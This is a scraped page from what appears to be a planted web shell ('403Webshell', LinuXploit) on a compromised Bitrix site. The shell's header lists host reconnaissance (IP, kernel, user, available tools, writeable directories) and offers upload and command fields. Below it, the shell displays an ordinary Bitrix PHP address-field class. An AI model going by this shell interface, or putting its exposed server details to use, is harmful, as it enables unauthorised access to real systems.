403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/fileman/lib/userfield/types/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/fileman/lib/userfield/types/addresstype.php
<?php

namespace Bitrix\Fileman\UserField\Types;

use Bitrix\Location\Entity\Address;
use Bitrix\Location\Entity\Address\Converter\StringConverter;
use Bitrix\Location\Service\FormatService;
use Bitrix\Main\ArgumentException;
use Bitrix\Main\ArgumentNullException;
use Bitrix\Main\ArgumentOutOfRangeException;
use Bitrix\Main\Config\Option;
use Bitrix\Main\IO\Directory;
use Bitrix\Main\IO\File;
use Bitrix\Main\Loader;
use Bitrix\Main\LoaderException;
use Bitrix\Main\Localization\Loc;
use Bitrix\Main\UserField\Types\BaseType;
use CUserTypeManager;

Loc::loadMessages(__FILE__);

/**
 * Class AddressType
 * @package Bitrix\Fileman\UserField\Types
 */
class AddressType extends BaseType
{
	public const
		USER_TYPE_ID = 'address',
		RENDER_COMPONENT = 'bitrix:fileman.field.address',
		BITRIX24_RESTRICTION = 100,
		BITRIX24_RESTRICTION_CODE = 'uf_address';

	protected static $restrictionCount = null;

	public static function getDescription(): array
	{
		return [
			'DESCRIPTION' => Loc::getMessage('USER_TYPE_ADDRESS_DESCRIPTION'),
			'BASE_TYPE' => CUserTypeManager::BASE_TYPE_STRING,
		];
	}

	/**
	 * @return string|null
	 * @throws ArgumentNullException
	 * @throws ArgumentOutOfRangeException
	 * @throws LoaderException
	 */
	public static function getApiKey(): ?string
	{
		$apiKey = Option::get('fileman', 'google_map_api_key', '');
		if(Loader::includeModule('bitrix24') && \CBitrix24::isCustomDomain())
		{
			$apiKey = null;
			$key = Option::get('bitrix24', 'google_map_api_key', '');
			$keyHost = Option::get('bitrix24', 'google_map_api_key_host', '');
			if(defined('BX24_HOST_NAME') && $keyHost === BX24_HOST_NAME)
			{
				$apiKey = $key;
			}
		}

		return $apiKey;
	}

	/**
	 * @return string
	 * @throws ArgumentNullException
	 * @throws ArgumentOutOfRangeException
	 * @throws LoaderException
	 */
	public static function getApiKeyHint(): string
	{
		$hint = '';
		if(static::getApiKey() === null)
		{
			if(Loader::includeModule('bitrix24'))
			{
				if(\CBitrix24::isCustomDomain())
				{
					$hint = Loc::getMessage(
						'USER_TYPE_ADDRESS_NO_KEY_HINT_B24',
						['#settings_path#' => \CBitrix24::PATH_CONFIGS]
					);
				}
			}
			else
			{
				if(defined('ADMIN_SECTION') && ADMIN_SECTION === true)
				{
					$settingsPath = '/bitrix/admin/settings.php?lang=' . LANGUAGE_ID . '&mid=fileman';
				}
				else
				{
					$settingsPath = SITE_DIR . 'configs/';
				}

				if(
					!File::isFileExists($_SERVER['DOCUMENT_ROOT'] . $settingsPath)
					||
					!Directory::isDirectoryExists($_SERVER['DOCUMENT_ROOT'] . $settingsPath)
				)
				{
					$settingsPath = SITE_DIR . 'settings/configs/';
				}

				$hint = Loc::getMessage(
					'USER_TYPE_ADDRESS_NO_KEY_HINT',
					['#settings_path#' => $settingsPath]
				);
			}
		}

		return $hint;
	}

	/**
	 * @deprecated
	 * @return array|null
	 */
	public static function getTrialHint(): ?array
	{
		return null;
	}

	/**
	 * @return bool
	 */
	public static function canUseMap(): bool
	{
		return true;
	}

	/**
	 * @return bool
	 */
	public static function checkRestriction(): bool
	{
		return true;
	}

	/**
	 * @return bool
	 */
	public static function useRestriction(): bool
	{
		return false;
	}

	public static function getDbColumnType(): string
	{
		$connection = \Bitrix\Main\Application::getConnection();
		$helper = $connection->getSqlHelper();
		return $helper->getColumnTypeByField(new \Bitrix\Main\ORM\Fields\TextField('x'));
	}

	public static function prepareSettings(array $userField): array
	{
		$settings = ($userField['SETTINGS'] ?? []);
		$showMap = ($settings['SHOW_MAP'] ?? null);

		return [
			'SHOW_MAP' => ($showMap === 'N' ? 'N' : 'Y'),
		];
	}

	public static function checkFields(array $userField, $value): array
	{
		return [];
	}

	public static function onBeforeSaveAll(array $userField, $value)
	{
		$result = [];
		foreach ($value as $item)
		{
			$processedValue = self::onBeforeSave($userField, $item);
			if ($processedValue)
			{
				$result[] = $processedValue;
			}
		}

		$fieldName = ($userField['FIELD_NAME'] ?? null);
		unset($_POST[$fieldName . '_manual_edit']);

		return $result;
	}

	/**
	 * @param array $userField
	 * @param $value
	 * @return string|null
	 * @throws LoaderException
	 */
	public static function onBeforeSave(array $userField, $value)
	{
		if (!$value)
		{
			self::clearManualEditFlag($userField);

			return null;
		}

		if (!Loader::includeModule('location') || self::isRawValue($value))
		{
			// if the value hasn't been set manually (e.g. from bizproc), then we have to remove the
			// address' id because otherwise we'll end up with multiple UF values pointing to a single address
			$fieldName = ($userField['FIELD_NAME'] ?? null);
			$isManualAddressEdit = $_POST[$fieldName . '_manual_edit'] ?? null;
			if (!$isManualAddressEdit)
			{
				$parsedValue = self::parseValue($value);
				$value = $parsedValue[0] . '|' . $parsedValue[1][0] . ';' . $parsedValue[1][1];
			}

			self::clearManualEditFlag($userField);

			return $value;
		}

		if (mb_strlen($value) > 4 && mb_substr($value, -4) === '_del')
		{
			$oldAddressId = (int)substr($value, 0, -4);
			$oldAddress = Address::load($oldAddressId);
			if ($oldAddress)
			{
				$oldAddress->delete();
			}

			self::clearManualEditFlag($userField);

			return '';
		}

		$address = null;
		try
		{
			$address = Address::fromJson($value);
		}
		catch (ArgumentException | \TypeError $exception)
		{
			if (is_string($value))
			{
				$addressFields = self::getAddressFieldsFromString($value);
				$address = Address::fromArray($addressFields);
			}
		}

		if (!$address)
		{
			self::clearManualEditFlag($userField);

			return $value;
		}

		$saveResult = $address->save();
		if ($saveResult->isSuccess())
		{
			$value = self::formatAddressToString($address);
		}
		else
		{
			$value = self::getTextAddress($address);
		}

		self::clearManualEditFlag($userField);

		return $value;
	}

	private static function clearManualEditFlag(array $userField): void
	{
		$fieldName = ($userField['FIELD_NAME'] ?? null);
		if (($userField['MULTIPLE'] ?? null) !== 'Y')
		{
			unset($_POST[$fieldName . '_manual_edit']);
		}
	}

	/**
	 * @param string|null $value
	 * @return array
	 */
	public static function parseValue(?string $value): array
	{
		$coords = '';
		$addressId = null;
		if(mb_strpos($value, '|') !== false)
		{
			[$value, $coords, $addressId] = explode('|', $value);
			if ($addressId)
			{
				$addressId = (int)$addressId;
			}
			if($coords !== '' && mb_strpos($coords, ';') !== false)
			{
				$coords = explode(';', $coords);
			}
			else
			{
				$coords = '';
			}
		}

		$json = null;
		if ($addressId)
		{
			$address = Address::load($addressId);
			if ($address)
			{
				$json = $address->toJson();
			}
		}
		else
		{
			$address = self::tryConvertFromJsonToAddress($value);
			if ($address)
			{
				$json = $value;
				$value = self::getTextAddress($address);
			}
		}

		return [
			$value,
			$coords,
			$addressId,
			$json,
		];
	}

	private static function tryConvertFromJsonToAddress($value): ?Address
	{
		$result = null;
		try
		{
			$result = Address::fromJson($value);
		}
		catch (\Exception | \TypeError $exception) {}

		return $result;
	}

	private static function formatAddressToString(Address $address): string
	{
		return (
			self::getTextAddress($address)
			. '|'
			. $address->getLatitude()
			. ';'
			. $address->getLongitude()
			. '|'
			. $address->getId()
		);
	}

	private static function getTextAddress(Address $address): string
	{
		return $address->toString(
			FormatService::getInstance()->findDefault(LANGUAGE_ID),
			StringConverter::STRATEGY_TYPE_TEMPLATE_COMMA
		);
	}

	public static function isRawValue($value): bool
	{
		$valueParts = explode('|', $value);
		$valuePartsCount = count($valueParts);
		if ($valuePartsCount < 2)
		{
			return false;
		}

		if (mb_strpos($valueParts[1], ';') === false)
		{
			return false;
		}

		$possibleCoords = explode(';', $valueParts[1]);
		if (
			count($possibleCoords) !== 2
			|| (
				(!is_numeric($possibleCoords[0]) || !is_numeric($possibleCoords[1]))
				&& !($possibleCoords[0] === '' && $possibleCoords[1] === '')
			)
		)
		{
			return false;
		}

		return true;
	}

	/**
	 * @param $value
	 * @return array|null
	 */
	public static function getAddressFieldsByValue($value): ?array
	{
		if (!Loader::includeModule('location'))
		{
			return null;
		}

		$address = self::tryConvertFromJsonToAddress($value);
		if (!$address)
		{
			$addressId = self::parseValue($value)[2];
			if (is_numeric($addressId))
			{
				$address = Address::load((int)$addressId);
			}
		}

		if ($address)
		{
			return $address->toArray();
		}

		return self::getAddressFieldsFromString($value);
	}

	/**
	 * Compatibility
	 * @param string|null $addressString
	 * @return array|null
	 */
	private static function getAddressFieldsFromString(?string $addressString): ?array
	{
		if (!$addressString)
		{
			return null;
		}

		[$address, $coords] = self::parseValue($addressString);

		return [
			'latitude' => $coords[0] ?? null,
			'longitude' => $coords[1] ?? null,
			'fieldCollection' => [
				Address\FieldType::ADDRESS_LINE_2 => $address,
			],
			'languageId' => LANGUAGE_ID,
		];
	}

	/**
	 * @param null|array $userField
	 * @param array $additionalSettings
	 * @return array
	 */
	public static function getFilterData(?array $userField, array $additionalSettings): array
	{
		return [
			'id' => $additionalSettings['ID'],
			'name' => $additionalSettings['NAME'],
			'filterable' => ''
		];
	}

	/**
	 * @param array $userField
	 * @return string|null
	 */
	public static function onSearchIndex(array $userField): ?string
	{
		if(is_array($userField['VALUE']))
		{
			$result = implode('\r\n', $userField['VALUE']);
		}
		else
		{
			$result = $userField['VALUE'];
		}

		return $result;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit